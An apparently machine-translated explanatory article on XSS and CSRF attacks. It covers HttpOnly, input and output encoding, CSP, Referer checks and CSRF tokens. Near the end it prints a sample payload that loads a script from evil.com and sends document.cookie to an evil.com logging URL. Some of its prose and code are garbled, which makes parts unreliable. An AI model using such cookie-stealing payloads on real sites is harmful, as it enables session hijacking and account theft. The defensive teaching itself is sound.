XSS and CSRF of web security

Xss

Cross Site scripting attacks, which originally abbreviated CSS units and cascading styles (cascading style sheet,css), are called "XSS" in the security realm.

XSS attacks, usually referred to as hackers through "HTML injection" tampered with the Web page, inserted a malicious script, so that when users browse the Web page, control the user browser an attack. This attack was cross-domain at first, but whether cross-domain is no longer important due to the power of today's JavaScript and the complexities of Web front-end applications.

XSS injects a "cookie hijacking" attack by injecting code into the target website's cookie. With a cookie in mind and with a session, the attacker can not pass the password as someone else's identity directly into the user's account.

XSS Defense

(1) HttpOnly

HttpOnly is not designed to fight XSS, but to solve the cookie hijacking attack after XSS.

(2) Input check

The input check is generally a value that checks whether the user input data contains some special characters, if these characters are found to be filtered or encoded.

Set the whitelist, for example: Registered user name can only be letters, numbers combination, telephone, mailbox, birthday and other information has a certain format specification. Disable some attacks based on special characters.

XSS filter Gets the variables when the user submits the data, and makes an XSS check, but at this point the user number does not combine the HTML code of the rendered page, so the XSS filter is not fully understood in context.

(3) Output check

In addition to the rich text output, you can use encoding or escaping to defend against XSS attacks when the variables are exported to an HTML page. HTMLEncode encoding or Javascriptencode encoding of the content that is dynamically exported to the page so that the script cannot be executed in the browser. Unlike the HTMLEncode and Javascriptencode encoding, which requires the use of "\" to escape special characters, in the other side XSS is, also requires the output of the variable must be inside the quotation marks, because the attacker is very difficult to escape the range of quotation marks, so as to avoid creating security problems.

(4) Processing Rich Text

Filtering Rich Text content

(5) Defending Dom Based XSS

When the href or SRC address variable $var output to <script>, a javascriptencode should be performed; When the document.write output to the HTML page specific analysis: If the output to the event or script, you want to do another javascriptencode, if the output of HTML content or properties, you need to do a htmlencode.

Other general complementary defense methods

When outputting HTML, add the HTTP Header of the content Security policy

(role: Can prevent the page from being attacked by XSS, embedding third-party script files, etc.)

(BUG: IE or a lower version of the browser may not be supported)

The Referer parameter of the validation request when developing the API

(function: Can prevent CSRF attack to a certain extent)

(Defect: IE or a lower version of the browser, the Referer parameter can be forged)

Csrf

Cross site request forgery (forgery), CSRF Forge the user and act on behalf of the user. CSRF successful premise the user must log on to the target site and the user browses to the attacker-controlled site. XSS is one of the many ways to implement CSRF, but it's definitely not the only one. The general habit of using XSS to achieve the CSRF is called XSRF.

2008 Baidu CSRF Worm to get Baidu to send text messages and inquires the address of friends, users view the malicious page will give him all his friends a short message, the message contains a picture, the address points to the CSRF page, so that these friends send messages to other friends again.

the things that CSRF can do include : Send mail in your name, message, steal your account, even buy goods, virtual money transfer ... Issues include: personal privacy breaches and property security.

CSRF Attack attack principle and process are as follows :

1. User C opens the browser, accesses a trusted site A, enters a username and password request to log on to website A;

2. After the user information is verified, website a generates cookie information and returns it to the browser, at which point the user logs on to site a successfully and can send the request to site a normally;

3. Before the user exits site A, in the same browser, open a tab page to access site B;

4. After receiving the user request, website b returns some offensive code and makes a request to access the third party site A;

5. After receiving these offensive codes, the browser, upon request of site B, carries cookie information without the user's knowledge and makes a request to site A. Web site A does not know that the request is actually initiated by B, so the request is processed in accordance with the user C's cookie information, which causes malicious code from site B to be executed.

Defensive CSRF Attacks:

(1) verifying HTTP Referer fields

In the HTTP header, there is a field called Referer, which records the source address of the HTTP request. If it starts with the original real domain name, it is legal for the request to be made from the bank's website itself. If Referer is a different Web site, it could be a hacker's CSRF attack, rejecting the request

(2) add tokens to the request address and verify ;

A randomly generated token is added to the HTTP request as a parameter, and an interceptor is established on the server side to verify the token, and if no token or token content is incorrect in the request, it may be rejected as a CSRF attack.

(3) Customize the properties in the HTTP header and verify

This approach is also using token and validating, unlike the previous method, where token is not placed in an HTTP request in the form of an argument, but instead placed in a custom attribute in the HTTP header. By XMLHttpRequest This class, you can add HTTP header properties to all requests at once. The disadvantage is: (A) The XMLHttpRequest request is usually used in the Ajax method for the page part of the asynchronous refresh, not all requests are suitable for this class to initiate, and through the request of this kind of page can not be recorded by the browser, so as to advance, back, refresh, collection and other operations, inconvenience to the user. (B) To use this approach for protection, it is not acceptable to change all requests to xmlhttprequest requests, almost to rewrite the entire Web site.

The difference between XSS and CSRF

Their dimensional space is not the same, XSS bias in the methodology (with a cross-site request JS script, user access will be downloaded later or injected in the current page of the script, in the XSS attack), CSRF biased to a form (or result), but only forge the user initiated the request, can become CSRF attacks.

A remote script is loaded by the attacker beforehand

<script src=http://www.evil.com/evil.js> </script>

The XSS payload is written in a remote script to avoid writing a lot of JavaScript code directly in the URL parameters.

Evil.js stealing cookies in the following ways

var img = document.createelement ("img");

IMG.SRC = "Http://www.evil.com/log?" + Escape (document.cookie); Document.body.appendChild (IMG);

This completes the XSS Payload that steals the cookie. But it is only XSS, and does not occur CSRF, the user information stored down, there is no "fake" users to make requests. If "Forge" the user, do some delete, add operation, is CSRF.

For example, after more than one grab package gets the delete link as http://www.blog.com/detail/process.do?id=*****, which can be deleted if the link is included in the attacker's page.

XSS and CSRF of web security